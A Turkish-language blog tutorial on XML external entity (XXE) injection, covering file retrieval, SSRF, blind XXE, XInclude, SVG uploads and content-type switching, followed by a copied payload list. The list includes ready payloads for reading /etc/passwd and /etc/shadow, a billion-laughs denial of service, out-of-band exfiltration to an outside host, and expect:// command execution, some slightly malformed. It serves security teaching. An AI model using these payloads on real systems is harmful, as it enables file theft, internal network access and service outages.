XML external entity (XXE) injection

0

 

XML harici varlık (XXE) enjeksiyonu 


 

XML harici varlık enjeksiyonu nedir?

XML harici varlık enjeksiyonu (XXE olarak da bilinir), bir saldırganın bir uygulamanın XML verilerini işlemesine müdahale etmesine izin veren bir web güvenlik açığıdır. Genellikle bir saldırganın uygulama sunucusu dosya sistemindeki dosyaları görüntülemesine ve uygulamanın kendisinin erişebileceği herhangi bir arka uç veya harici sistemle etkileşime girmesine izin verir. 

gerçekleştirmek için XXE güvenlik açığından yararlanarak, temel sunucunun veya diğer arka uç altyapısının güvenliğini aşmak için bir XXE saldırısını yükseltebilir sunucu tarafı istek sahteciliği (SSRF) saldırıları 

 


 

XXE güvenlik açıkları nasıl ortaya çıkıyor?

 

Bazı uygulamalar, tarayıcı ve sunucu arasında veri iletmek için XML biçimini kullanır. Bunu yapan uygulamalar, sunucudaki XML verilerini işlemek için neredeyse her zaman standart bir kitaplık veya platform API'si kullanır. XXE güvenlik açıkları, XML belirtiminin çeşitli potansiyel olarak tehlikeli özellikler içermesi ve standart ayrıştırıcıların, uygulama tarafından normalde kullanılmasalar bile bu özellikleri desteklemesi nedeniyle ortaya çıkar. 

 

XML harici varlıkları, tanımlı değerleri, bildirildikleri DTD'nin dışından yüklenen bir tür özel XML varlığıdır. Dış varlıklar, bir dosya yolunun veya URL'nin içeriğine dayalı olarak bir varlığın tanımlanmasına izin verdikleri için güvenlik açısından özellikle ilginçtir.  

 

XXE saldırı türleri nelerdir? 

 

Çeşitli XXE saldırıları türleri vardır: 

 

Dosyaları almak için XXE'den yararlanma

Sunucunun dosya sisteminden rastgele bir dosya alan bir XXE yerleştirme saldırısı gerçekleştirmek için, gönderilen XML'i iki şekilde değiştirmeniz gerekir:

  • Bir giriş yapın (veya düzenleyin) DOCTYPEdosyanın yolunu içeren harici bir varlığı tanımlayan öğe.
  • Tanımlanan harici varlığı kullanmak için, uygulamanın yanıtında döndürülen XML'deki bir veri değerini düzenleyin.

Örneğin, bir alışveriş uygulamasının aşağıdaki XML'i sunucuya göndererek bir ürünün stok düzeyini kontrol ettiğini varsayalım:

<?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck>


 

Uygulama, XXE saldırılarına karşı özel bir savunma gerçekleştirmez, bu nedenle XXE güvenlik açığından yararlanarak /etc/passwd aşağıdaki XXE yükünü göndererek dosyalayın:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>


Bu XXE yükü, harici bir varlığı tanımlar &xxe;değeri içeriğin değeri olan /etc/passwd dosya ve içindeki varlığı kullanır productId değer. Bu, uygulamanın yanıtının dosyanın içeriğini içermesine neden olur:

Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin

 

SSRF saldırıları gerçekleştirmek için XXE'den yararlanma 

 

Hassas verilerin alınmasının yanı sıra, XXE saldırılarının diğer ana etkisi, sunucu tarafı istek sahteciliği (SSRF) gerçekleştirmek için kullanılabilmesidir. Bu, sunucu tarafı uygulamanın, sunucunun erişebileceği herhangi bir URL'ye HTTP istekleri yapmaya yönlendirilebileceği potansiyel olarak ciddi bir güvenlik açığıdır.

Bir SSRF saldırısı , hedeflemek istediğiniz URL'yi kullanarak harici bir XML varlığı tanımlamanız ve tanımlanan varlığı bir veri değeri içinde kullanmanız gerekir. Tanımlanmış varlığı, uygulamanın yanıtında döndürülen bir veri değeri içinde kullanabilirseniz, uygulamanın yanıtı içindeki URL'den yanıtı görüntüleyebilir ve böylece arka uç sistemiyle iki yönlü etkileşim elde edebilirsiniz. Değilse, yalnızca kör SSRF saldırıları gerçekleştirebileceksiniz (ki bu yine de kritik sonuçlara yol açabilir).

Aşağıdaki XXE örneğinde, harici varlık, sunucunun kuruluşun altyapısı içindeki bir dahili sisteme arka uç HTTP isteği yapmasına neden olacaktır: 

 

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

 

Kör XXE güvenlik açıkları 


XXE güvenlik açıklarının çoğu örneği kördür. Bu, uygulamanın yanıtlarında tanımlanmış herhangi bir harici varlığın değerlerini döndürmediği ve bu nedenle sunucu tarafı dosyalarının doğrudan alınmasının mümkün olmadığı anlamına gelir.

Kör XXE güvenlik açıkları hala tespit edilebilir ve kullanılabilir, ancak daha gelişmiş teknikler gereklidir. Güvenlik açıklarını bulmak için bazen bant dışı teknikleri kullanabilir ve verileri sızdırmak için bunlardan yararlanabilirsiniz. Ve bazen, hata mesajlarında hassas verilerin ifşa edilmesine yol açan XML ayrıştırma hatalarını tetikleyebilirsiniz. 

 

XXE enjeksiyonu için gizli saldırı yüzeyi bulma


 

Uygulamanın normal HTTP trafiği, XML biçiminde veri içeren istekleri içerdiğinden, XXE enjeksiyon güvenlik açıkları için saldırı yüzeyi birçok durumda açıktır. Diğer durumlarda, saldırı yüzeyi daha az görünür. Ancak, doğru yerlere bakarsanız, XML içermeyen isteklerde XXE saldırı yüzeyi bulacaksınız.

XInclude saldırıları

Bazı uygulamalar istemci tarafından gönderilen verileri alır, bunları sunucu tarafında bir XML belgesine gömer ve ardından belgeyi ayrıştırır. Bunun bir örneği, istemci tarafından gönderilen veriler, daha sonra arka uç SOAP hizmeti tarafından işlenen bir arka uç SOAP isteğine yerleştirildiğinde ortaya çıkar.

Bu durumda, klasik bir XXE saldırısı gerçekleştiremezsiniz, çünkü tüm XML belgesini kontrol edemezsiniz ve bu nedenle bir belgeyi tanımlayamaz veya değiştiremezsiniz. DOCTYPEöğe. Ancak, kullanabilirsiniz XIncludeBunun yerine. XIncludeXML belgesinin alt belgelerden oluşturulmasına izin veren XML belirtiminin bir parçasıdır. yerleştirebilirsiniz XIncludebir XML belgesindeki herhangi bir veri değerine saldırır, bu nedenle saldırı, yalnızca sunucu tarafı XML belgesine yerleştirilmiş tek bir veri öğesini kontrol ettiğiniz durumlarda gerçekleştirilebilir.

gerçekleştirmek için XIncludesaldırı, başvurmanız gerekir XIncludead alanını seçin ve eklemek istediğiniz dosyanın yolunu belirtin. Örneğin:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>     


Dosya yükleme yoluyla XXE saldırıları

Bazı uygulamalar, kullanıcıların daha sonra sunucu tarafında işlenen dosyaları yüklemesine izin verir. Bazı yaygın dosya biçimleri XML kullanır veya XML alt bileşenleri içerir. XML tabanlı biçimlere örnek olarak DOCX gibi ofis belgesi biçimleri ve SVG gibi görüntü biçimleri verilebilir.

Örneğin, bir uygulama, kullanıcıların görüntüleri yüklemesine ve yüklendikten sonra bunları sunucuda işlemesine veya doğrulamasına izin verebilir. Uygulama PNG veya JPEG gibi bir biçim almayı beklese bile, kullanılan görüntü işleme kitaplığı SVG görüntülerini destekleyebilir. SVG formatı XML kullandığından, bir saldırgan kötü niyetli bir SVG görüntüsü gönderebilir ve böylece XXE güvenlik açıkları için gizli saldırı yüzeyine ulaşabilir. 

 

Değiştirilmiş içerik türü aracılığıyla XXE saldırıları

Çoğu POST isteği, aşağıdakiler gibi HTML formları tarafından oluşturulan varsayılan bir içerik türünü kullanır: application/x-www-form-urlencoded. Bazı web siteleri bu biçimde istek almayı bekler, ancak XML dahil diğer içerik türlerini tolere eder.

Örneğin, normal bir istek aşağıdakileri içeriyorsa:

POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar


 

Ardından, aynı sonuçla aşağıdaki isteği gönderebilirsiniz:

POST /action HTTP/1.0 

Content-Type: text/xml 

Content-Length: 52 

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Uygulama, mesaj gövdesinde XML içeren istekleri tolere ederse ve gövde içeriğini XML olarak ayrıştırırsa, istekleri XML biçimini kullanacak şekilde yeniden biçimlendirerek gizli XXE saldırı yüzeyine ulaşabilirsiniz. 

 


BAZI XXE PAYLOADLARI:


# XML External Entity (XXE) Injection Payloads
* XXE : Classic XXE
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
* XXE: Basic XML Example
<!--?xml version="1.0" ?-->
<userInfo>
<firstName>John</firstName>
<lastName>Doe</lastName>
</userInfo>
* XXE: Entity Example
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
* XXE: File Disclosure
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
* XXE: Denial-of-Service Example
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
* XXE: Local File Inclusion Example
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
* XXE: Blind Local File Inclusion Example (When first case doesn't return anything.)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
* XXE: Access Control Bypass (Loading Restricted Resources - PHP example)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>
* XXE:SSRF ( Server Side Request Forgery ) Example
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
* XXE: (Remote Attack - Through External Xml Inclusion) Exmaple
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>
* XXE: UTF-7 Exmaple
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
* XXE: Base64 Encoded
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
* XXE: XXE inside SOAP Example
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
* XXE: XXE inside SVG
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>

</svg>



örnek-pratik olması için video kaynakları izleyin:

 

https://www.youtube.com/hashtag/xxe

Yorum Gönder

0 Yorumlar

Yorum yaptığın için teşekkürler

Yorum Gönder (0)

#buttons=(Accept !) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Accept !
To Top